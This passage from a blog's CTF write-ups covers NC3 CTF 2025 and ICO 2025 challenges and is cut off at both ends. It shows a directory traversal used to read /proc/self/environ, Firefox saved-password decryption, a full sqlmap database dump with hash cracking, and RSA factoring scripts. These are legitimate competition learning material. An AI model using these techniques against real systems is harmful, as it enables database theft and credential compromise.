</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="p">((</span><span class="n">i</span> <span class="o">//</span> <span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">256</span>
</span></span><span class="line"><span class="cl">    <span class="n">out</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">b</span> <span class="o">^</span> <span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">out</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s2">&#34;replace&#34;</span><span class="p">))</span>
</span></span></code></pre></div><p>Kør scriptet:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 solve.py
</span></span><span class="line"><span class="cl">NC3<span class="o">{</span>p4n3l_t4k3d0wn_4nd_s3rv3r_t4ke0v3r<span class="o">}</span>
</span></span></code></pre></div><p>Flag: <code>NC3{p4n3l_t4k3d0wn_4nd_s3rv3r_t4ke0v3r}</code></p>
<hr>
<h2 id="minos-6-server">Minos 6: Server</h2>
<p>Er der mon måder at komme videre ind på den bagvedliggende server og ligefrem køre commands og overtage den?</p>
<p>Hvis du når ind, kan du jo lige tjekke miljøet ud og se, om der er god julestemning.</p>
<p><a href="https://tryhackme.com/jr/minos">https://tryhackme.com/jr/minos</a></p>
<p><strong>Løsning:</strong> Ved at kigge nærmere på den måde Minos botpanelet håndterer fil downloads, fandt jeg en directory traversal sårbarhed i download api endpointet. Ved at udnytte denne sårbarhed kunne jeg læse følsomme filer på serveren, herunder <code>/proc/self/environ</code>. Denne fil indeholder miljøvariablerne for den kørende proces, jeg fandt variablen <code>MINOS_FLAG</code>, som var flaget til denne opgave.</p>
<p><img src="/nc3_2025/minos.6.network.png" alt="network traffic"></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> UEFUSD0vdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4ASE9TVE5BTUU9NTVjNzYzZTRmZTY5AFJVU1RfTE9HPWluZm8ATUlOT1NfRkxBRz1OQzN7aDB3X2QxZF95MHVfcnVuX2MwbW00bmRzXzBuX215X3MzcnYzcj8/P30ASE9NRT0vcm9vdAA<span class="o">=</span> <span class="p">|</span> base64 -d
</span></span><span class="line"><span class="cl"><span class="nv">PATH</span><span class="o">=</span>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME<span class="o">=</span><span class="nv">55c763e4fe69RUST_LOG</span><span class="o">=</span><span class="nv">infoMINOS_FLAG</span><span class="o">=</span>NC3<span class="o">{</span>h0w_d1d_y0u_run_c0mm4nds_0n_my_s3rv3r???<span class="o">}</span><span class="nv">HOME</span><span class="o">=</span>/root
</span></span></code></pre></div><p>Flag: <code>NC3{h0w_d1d_y0u_run_c0mm4nds_0n_my_s3rv3r???}</code></p>
<hr>
<h2 id="minos-4-infostealer">Minos 4: Infostealer</h2>
<p>Du er nået til sidste led i angrebskæden: Infostealeren. Den er blevet loadet og eksekveret på Joes computer, og det er sandsynlig, han har fået stjålet information.</p>
<p>Find ud af, hvordan malwaren virker og kommunikerer med C2-serveren og tjek, hvad Joe har fået stjålet!</p>
<p><strong>OBS:</strong> Bruger samme filer som <code>Minos 1: Initial Access</code>.</p>
<p><strong>Løsning:</strong> Efter at have analyseret disk imaget, finder jeg Joe&rsquo;s Firefox profil mappe, som indeholder 3 profiler. Her kan vi bruge samme metode som i <a href="#nissrensics-r%C3%A6v-og-n%C3%B8gler">Nissrensics: Ræv og Nøgler</a> til at dekryptere de gemte passwords i Firefox.</p>
<p><img src="/nc3_2025/minos.4.autopsy.png" alt="Firefox profiles"></p>
<p>Men efter at have brugt programmet <code>firefox_decrypt</code> til at dekryptere de gemte passwords, fandt jeg ikke noget da flere af profilerne ikke havde passwords gemt. Men efter at have kigget nærmere i profilmappen <code>6qu8fy1k.default-release-1</code> fandt jeg filen <code>logins-backup.json</code> som indeholdte gemte logins. Ved at rename filen til <code>logins.json</code> kunne jeg nu bruge <code>firefox_decrypt</code> til at dekryptere de gemte passwords.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 firefox_decrypt.py
</span></span><span class="line"><span class="cl">2025-12-06 01:35:55,000 - WARNING - Running with unsupported encoding <span class="s1">&#39;locale&#39;</span>: cp1252 - Things are likely to fail from here onwards
</span></span><span class="line"><span class="cl">Select the Mozilla profile you wish to decrypt
</span></span><span class="line"><span class="cl"><span class="m">1</span> -&gt; Profiles/6qu8fy1k.default-release-1
</span></span><span class="line"><span class="cl"><span class="m">2</span> -&gt; Profiles/4xdes0gv.default
</span></span><span class="line"><span class="cl"><span class="m">3</span> -&gt; Profiles/338c0rlu.default-release
</span></span><span class="line"><span class="cl"><span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Website:   moz-extension://77737e58-b162-4ed6-8f12-788b5fe3230d
</span></span><span class="line"><span class="cl">Username: <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl">Password: <span class="s1">&#39;NC3{puha_g0dt_du_kun_m1st3d3_crypt0_0g_1kk3_R1GT1G3_p3ng3}&#39;</span>
</span></span></code></pre></div><p>Flag: <code>NC3{puha_g0dt_du_kun_m1st3d3_crypt0_0g_1kk3_R1GT1G3_p3ng3}</code></p>
<hr>
<h2 id="humlebiens-flugt--3">Humlebiens Flugt 🐝🐝🐝 (3)</h2>
<p>Flot arbejde med at genskabe resten af domænelisten, vi har overtaget disse domæner nu!</p>
<p>Vi har dog stadig et problem: De domæner, vi har set brugt af <code>Humlebi</code>, er dem, de allerede har kontrollen med, og vi kender kun de domæner, der kommer efter det tidligste af disse. Hvis de genaktiverer en C2-server på det tidligste i listen, får de igen al bottrafikken.</p>
<p>Fra analysen i foregående opgave ved vi, hvilket af de tre domæner, der står først i DGAens liste. Vi har dog tidligere set, at aktøren af ukendte årsager altid skipper det første domæne, DGAen genererer. Hvis vi overtager og sinkholer dette, vil al bottrafikken permanent nå os i stedet for <code>Humlebi</code>, og vi kan redde ofrene!</p>
<p>Kan du uden et kendt seed finde en måde at backtracke fra det tidligste af de kendte domæner og finde det domæne, DGAen genererer lige før dette?</p>
<p><strong>OBS:</strong> Denne backtracking vil lede til flere mulige kandidater, det vil være tydeligt, hvilken der er korrekt.</p>
<p>Flaget findes som i de foregående opgaver ved at tilgå hjemmesiden på det aktive domæne.</p>
<p><strong>Løsning:</strong> Igen, hvorfor implementere DGA algoritmen selv, og rev Go binary? Når man bare kan google sig til flaget? :)</p>
<p><img src="/nc3_2025/google_3.png" alt="Flag side"></p>
<p>Flag: <code>NC3{s1nkh0l3_4c71v4t3d}</code></p>
<hr>
<h1 id="opgaver-holdet-ikke-nåede-at-løse">Opgaver holdet ikke nåede at løse</h1>
<table>
	<thead>
			<tr>
					<th>Challenge</th>
					<th>Kategori</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>Porten til Julevibes</code></td>
					<td>Reversing</td>
			</tr>
			<tr>
					<td><code>Nissrensics: Forkromet Mellemgasfordeler</code></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><code>Nissrensics: Lykke(h)julet</code></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><code>Minos 2: Stager</code></td>
					<td>Malware</td>
			</tr>
			<tr>
					<td><code>Minos 3: Loader</code></td>
					<td>Malware</td>
			</tr>
	</tbody>
</table>
<hr>
<p>Og ja. <code>Minos</code> opgaverne blev løst i den rækkefølge der vises her. 😄</p>
<blockquote>
<p>Skud ud til NC3-holdet for nogle super fede challenges! Tak for en super fed NC3 CTF 2025! God jul og godt nytår til alle nisser derude! 🎅🎄</p>
</blockquote>
]]></content></item><item><title>International Cybersecurity Olympiad (ICO) 2025 : Writeups</title><link>https://ha1fdan.xyz/en/posts/ico2025-contest/</link><pubDate>Tue, 24 Jun 2025 20:27:20 +0800</pubDate><guid>https://ha1fdan.xyz/en/posts/ico2025-contest/</guid><description>&lt;h1 id="about-ico"&gt;About ICO&lt;/h1&gt;
&lt;p&gt;The International Cybersecurity Olympiad (ICO) is a premier global student cybersecurity competition, inspired by flagship academic Olympiads like the IOI and IMO. Hosted by the NUS School of Computing in Singapore, it took place from June 22 - 28, 2025 across venues at University Town (U-Town) and COM3. Designed to address the critical shortage of cybersecurity talent worldwide, ICO brings together the brightest students from 28 countries, each fielding a team of four students and two team leaders, chosen through rigorous national qualifiers . Supported by organizations like the Cyber Security Agency of Singapore, it is led by academics and industry experts, including &lt;a href="https://www.comp.nus.edu.sg/cs/people/tanst/"&gt;Assoc. Prof. Tan Sun Teck&lt;/a&gt;, President of the IOI.&lt;/p&gt;</description><content type="html"><![CDATA[<h1 id="about-ico">About ICO</h1>
<p>The International Cybersecurity Olympiad (ICO) is a premier global student cybersecurity competition, inspired by flagship academic Olympiads like the IOI and IMO. Hosted by the NUS School of Computing in Singapore, it took place from June 22 - 28, 2025 across venues at University Town (U-Town) and COM3. Designed to address the critical shortage of cybersecurity talent worldwide, ICO brings together the brightest students from 28 countries, each fielding a team of four students and two team leaders, chosen through rigorous national qualifiers . Supported by organizations like the Cyber Security Agency of Singapore, it is led by academics and industry experts, including <a href="https://www.comp.nus.edu.sg/cs/people/tanst/">Assoc. Prof. Tan Sun Teck</a>, President of the IOI.</p>
<h1 id="attack-style-ctf-challenges">Attack Style CTF Challenges</h1>
<p>Wearing red T-shirts, teams compete for 5 hours to exploit intentionally vulnerable systems and capture flags provided by organizers. This format mirrors real-world offensive security work, emphasizing reverse engineering, web hacking, cryptography, and binary exploitation.</p>
<h2 id="funny-little-trial-">Funny Little Trial 🩶</h2>
<p>N00bcak is here and he&rsquo;s got a simple simple challenge for you! He pinky promises it is super super easy&hellip; if you know your RSA. Claim your free flag now!</p>
<p>Flag Format: ICO{xxxx}</p>
<p><strong>Files:</strong></p>
<ul>
<li><a href="/ico2025/red/FunnyLittleTrial/chall.py">chall.py</a></li>
<li><a href="/ico2025/red/FunnyLittleTrial/chall.json">chall.json</a></li>
</ul>
<p><strong>Solution:</strong> Since <code>s = p + q</code> leaks the sum of the primes, it allowing for factorization.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">math</span> <span class="kn">import</span> <span class="n">isqrt</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">n</span> <span class="o">=</span> <span class="mi">730154905440589431898246229243980845471962789952919433912853685206466426533211391338854234214670164848724904589667216748940956830249727285676831414756490690998640546194701086342689745376601356538807686682591780203839430164032096793937680049242883943789740971024955494271811632392373061231517220729719301852972009996322353553223041996363062510793058159512065644653511056406980921126479692128719187843421670656032911202324169115991642446433570774018771779976698615952300873291633910429516420840343236890796694650758307955494625973637455056424008936821341285474068486291080379829605691116049409305720602644588781236517693103071428143555023423340553061848393811834822583084787767556242891835778899026395131919774769929908973580236813201423484418250639612979142717225646471923557902924947393932704451399986520439383222229449588604526233647729930287887832827094294007538293732323035360973881161056800433332655081539807347447394509629279325188711053553878224862658476846195578993440015897035671045877868818838832335917754474581155154779222178423842886030848765103547362401888774000743691540965176858139642895089461110570540423838101816198450394788967837473253642863644044829175861969444416877806962228341043955087466578594819527093346794769</span>
</span></span><span class="line"><span class="cl"><span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="mi">562832356069984106081137774460024417318691786711343850990263251777725495615368309839287879574579887963670997307615076216081038938724418605618077657900533446350490217763099095692070768537153710737669792919337950438628103773814809202814857366823389382849798875874703319910968644165758710199659598482182580560531427744306775515464578806892442707961517142301311443959318437335481597707440442963249235349148401864999450636386694616606321876555886550899834184829891114791797475508848985078894709888296306526168119661944874061976201961879264431442398717096510330771390870446558386486639114110984463105257982992473030697208456435010325240212191298771679578814130902264536954829855870623434714523595038310872353887411157395848362902586410240735790380905087353742755656722339524908032105103775986990007664980058936696379208444690440715730862640087467082716462163431720053541879681770780723256504718955541193959141214988786132292866650857593277833420037923271501563957546704765441958023218245172090983409186260002493788676733674223654884369806617046318513874719478805183309113606738154079837473695430422749868191938873619776918532094847644213959278138295750838263869314678033647024545294768359830666207254896847711652235889603241680551507038983</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="mi">54053789438762003717026435046758858644184844805086474460780374787993886158141419711606926173606297265967170008267426962552256754749922608947217920152403773919359805310018238474672131330265028491424716930927529647384277891611350497044205674037278986181586614217948510894910310441917319632029804630278892017010589446563461410905655255080369408402703350473796301203329249569749870211461687922755993267051166327474613204007121030586128877101173804871457561708749470102820696524246908465978873764509400913447555788290042530588416722658255095004712441074998378958860145015922918577707379079778746632670811334684876619995230</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">D</span> <span class="o">=</span> <span class="n">s</span><span class="o">*</span><span class="n">s</span> <span class="o">-</span> <span class="mi">4</span><span class="o">*</span><span class="n">n</span>
</span></span><span class="line"><span class="cl"><span class="n">sqrt_D</span> <span class="o">=</span> <span class="n">isqrt</span><span class="p">(</span><span class="n">D</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="p">(</span><span class="n">s</span> <span class="o">+</span> <span class="n">sqrt_D</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl"><span class="n">q</span> <span class="o">=</span> <span class="p">(</span><span class="n">s</span> <span class="o">-</span> <span class="n">sqrt_D</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl"><span class="k">assert</span> <span class="n">p</span> <span class="o">*</span> <span class="n">q</span> <span class="o">==</span> <span class="n">n</span>
</span></span><span class="line"><span class="cl"><span class="n">phi</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">q</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">d</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">phi</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">))</span>
</span></span></code></pre></div><p>Flag: <code>ICO{f3rMaT5_l1L_ThM_i5_Tr1Vi4L_r1t3???}</code></p>
<hr>
<h1 id="defence-style-ctf-challenges">Defence Style CTF Challenges</h1>
<p>In the Defence-style CTF, teams take on the role of defenders, tasked with detecting intrusions, and reversing malware to find secrets hidden in the depths. This format emphasizes teamwork, incident response, and strategic thinking.</p>
<h2 id="monas-secret">Mona&rsquo;s Secret</h2>
<p>Mona Lisa’s smile is said to hold secrets. But in this case, her image literally does.</p>
<p><strong>Files:</strong></p>
<ul>
<li><a href="/ico2025/blue/monassecret/Mona_Lisa_final.jpg">Mona_Lisa_final.jpg</a></li>
</ul>
<p><strong>Solution:</strong> Using <code>stegseek</code> we can uncover a hidden text in the image.</p>
<p>Flag: <code>ICO2025{happy_SG60}</code></p>
<hr>
<h2 id="monkey-gallery-challenge">Monkey Gallery Challenge</h2>
<p>The Monkey Gallery is a passion project created by an eccentric zoologist&hellip; but rumors say it’s more than just a harmless tribute to primates.</p>
<p>Sources suggest that the gallery&rsquo;s backend was slapped together in a hurry, and not all monkeys were meant to be seen. Some are part of a hidden experiment, and their records are locked deep within a private database table.</p>
<p>Try accessing different monkeys using the URL path: <strong>http://200.200.200.40:3000/monkey/{id}</strong></p>
<p><strong>Solution:</strong> Using <code>sqlmap</code> we can dump the entire database, since there is a sql-injection vuln at the <code>/monkey/&lt;id&gt;</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sqlmap -u <span class="s2">&#34;http://localhost:3000/monkey/*&#34;</span> --risk <span class="m">3</span> --level <span class="m">5</span> --dbms<span class="o">=</span>MySQL --dump-all
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>10:41:10<span class="o">]</span> <span class="o">[</span>INFO<span class="o">]</span> table <span class="s1">&#39;monkey_db.monkey&#39;</span> dumped to CSV file <span class="s1">&#39;/home/halfdan/.local/share/sqlmap/output/localhost/dump/monkey_db/monkey.csv&#39;</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>10:41:10<span class="o">]</span> <span class="o">[</span>INFO<span class="o">]</span> fetching columns <span class="k">for</span> table <span class="s1">&#39;monkey_users_999&#39;</span> in database <span class="s1">&#39;monkey_db&#39;</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>10:41:10<span class="o">]</span> <span class="o">[</span>INFO<span class="o">]</span> fetching entries <span class="k">for</span> table <span class="s1">&#39;monkey_users_999&#39;</span> in database <span class="s1">&#39;monkey_db&#39;</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>10:41:10<span class="o">]</span> <span class="o">[</span>INFO<span class="o">]</span> recognized possible password hashes in column <span class="s1">&#39;password&#39;</span>
</span></span><span class="line"><span class="cl"><span class="k">do</span> you want to store hashes to a temporary file <span class="k">for</span> eventual further processing with other tools <span class="o">[</span>y/N<span class="o">]</span> y
</span></span><span class="line"><span class="cl"><span class="o">[</span>10:41:28<span class="o">]</span> <span class="o">[</span>INFO<span class="o">]</span> writing hashes to a temporary file <span class="s1">&#39;/tmp/sqlmapji4qm3g056287/sqlmaphashes-v6hk0sxk.txt&#39;</span> 
</span></span><span class="line"><span class="cl"><span class="k">do</span> you want to crack them via a dictionary-based attack? <span class="o">[</span>Y/n/q<span class="o">]</span> Y
</span></span><span class="line"><span class="cl"><span class="o">[</span>10:41:31<span class="o">]</span> <span class="o">[</span>INFO<span class="o">]</span> using <span class="nb">hash</span> method <span class="s1">&#39;md5_generic_passwd&#39;</span>
</span></span><span class="line"><span class="cl">what dictionary <span class="k">do</span> you want to use?
</span></span><span class="line"><span class="cl"><span class="o">[</span>1<span class="o">]</span> default dictionary file <span class="s1">&#39;/opt/sqlmap/data/txt/wordlist.tx_&#39;</span> <span class="o">(</span>press Enter<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>2<span class="o">]</span> custom dictionary file
</span></span><span class="line"><span class="cl"><span class="o">[</span>3<span class="o">]</span> file with list of dictionary files
</span></span><span class="line"><span class="cl">&gt; <span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>10:41:33<span class="o">]</span> <span class="o">[</span>INFO<span class="o">]</span> using default dictionary
</span></span><span class="line"><span class="cl"><span class="k">do</span> you want to use common password suffixes? <span class="o">(</span>slow!<span class="o">)</span> <span class="o">[</span>y/N<span class="o">]</span> y
</span></span><span class="line"><span class="cl"><span class="o">[</span>10:41:37<span class="o">]</span> <span class="o">[</span>INFO<span class="o">]</span> starting dictionary-based cracking <span class="o">(</span>md5_generic_passwd<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>10:41:37<span class="o">]</span> <span class="o">[</span>INFO<span class="o">]</span> starting <span class="m">12</span> processes 
</span></span><span class="line"><span class="cl"><span class="o">[</span>10:41:38<span class="o">]</span> <span class="o">[</span>INFO<span class="o">]</span> cracked password <span class="s1">&#39;ananab&#39;</span> <span class="k">for</span> user <span class="s1">&#39;FlagHunter&#39;</span>
</span></span></code></pre></div><p>Flag: <code>ICO2025{ananab}</code></p>
<hr>
<h2 id="corrupted-access">Corrupted Access</h2>
<p>A corrupted RSA private key was found on an old admin backup disk. It belongs to the &ldquo;target&rdquo; user on a remote server. Unfortunately, the key appears incomplete — the <code>-----END RSA PRIVATE KEY-----</code> line is missing, and some of the content is clearly truncated.</p>
<p>But not all hope is lost. You might be able to reconstruct the original key using mathematical components hidden within the corruption. Once fixed, you can use it to SSH into the manager’s account.</p>
<p><strong>Files:</strong></p>
<ul>
<li><a href="/ico2025/blue/corruptedaccess/corrupted_key">corrupted_key</a></li>
</ul>
<p><strong>Solution:</strong> ChatGPT ❌ &mdash;&gt; CryptoGPT ✅</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">math</span> <span class="kn">import</span> <span class="n">isqrt</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">read_int</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">i</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">d</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="mh">0x02</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s2">&#34;Expected INTEGER&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="n">l</span> <span class="o">=</span> <span class="n">d</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">l</span> <span class="o">&amp;</span> <span class="mh">0x80</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">n_bytes</span> <span class="o">=</span> <span class="n">l</span> <span class="o">&amp;</span> <span class="mh">0x7F</span>
</span></span><span class="line"><span class="cl">        <span class="n">l</span> <span class="o">=</span> <span class="nb">int</span><span class="o">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">d</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="n">n_bytes</span><span class="p">],</span> <span class="s1">&#39;big&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">i</span> <span class="o">+=</span> <span class="n">n_bytes</span>
</span></span><span class="line"><span class="cl">    <span class="n">val</span> <span class="o">=</span> <span class="nb">int</span><span class="o">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">d</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="n">l</span><span class="p">],</span> <span class="s1">&#39;big&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">val</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="n">l</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Load and decode the corrupted key</span>
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;corrupted_key&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">b64</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">line</span> <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">f</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">line</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s1">&#39;-&#39;</span><span class="p">))</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">der</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">b64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Parse ASN.1 to extract n, e, d</span>
</span></span><span class="line"><span class="cl"><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">der</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x30</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">der</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mh">0x80</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">i</span> <span class="o">+=</span> <span class="p">(</span><span class="n">der</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mh">0x7F</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">_</span><span class="p">,</span> <span class="n">i</span> <span class="o">=</span> <span class="n">read_int</span><span class="p">(</span><span class="n">der</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>  <span class="c1"># version</span>
</span></span><span class="line"><span class="cl"><span class="n">n</span><span class="p">,</span> <span class="n">i</span> <span class="o">=</span> <span class="n">read_int</span><span class="p">(</span><span class="n">der</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">e</span><span class="p">,</span> <span class="n">i</span> <span class="o">=</span> <span class="n">read_int</span><span class="p">(</span><span class="n">der</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">d_val</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">read_int</span><span class="p">(</span><span class="n">der</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Recover p and q using known RSA relationship</span>
</span></span><span class="line"><span class="cl"><span class="n">k</span> <span class="o">=</span> <span class="n">d_val</span> <span class="o">*</span> <span class="n">e</span> <span class="o">-</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">q</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">k</span> <span class="o">%</span> <span class="n">i</span><span class="p">:</span> <span class="k">continue</span>
</span></span><span class="line"><span class="cl">    <span class="n">phi</span> <span class="o">=</span> <span class="n">k</span> <span class="o">//</span> <span class="n">i</span>
</span></span><span class="line"><span class="cl">    <span class="n">a</span> <span class="o">=</span> <span class="n">n</span> <span class="o">-</span> <span class="n">phi</span> <span class="o">+</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="n">b2</span> <span class="o">=</span> <span class="n">a</span> <span class="o">*</span> <span class="n">a</span> <span class="o">-</span> <span class="mi">4</span> <span class="o">*</span> <span class="n">n</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">b2</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">b</span> <span class="o">=</span> <span class="n">isqrt</span><span class="p">(</span><span class="n">b2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">b</span> <span class="o">*</span> <span class="n">b</span> <span class="o">==</span> <span class="n">b2</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">p</span> <span class="o">=</span> <span class="p">(</span><span class="n">a</span> <span class="o">+</span> <span class="n">b</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">            <span class="n">q</span> <span class="o">=</span> <span class="p">(</span><span class="n">a</span> <span class="o">-</span> <span class="n">b</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">p</span> <span class="o">*</span> <span class="n">q</span> <span class="o">==</span> <span class="n">n</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="ow">not</span> <span class="n">p</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">q</span><span class="p">:</span>
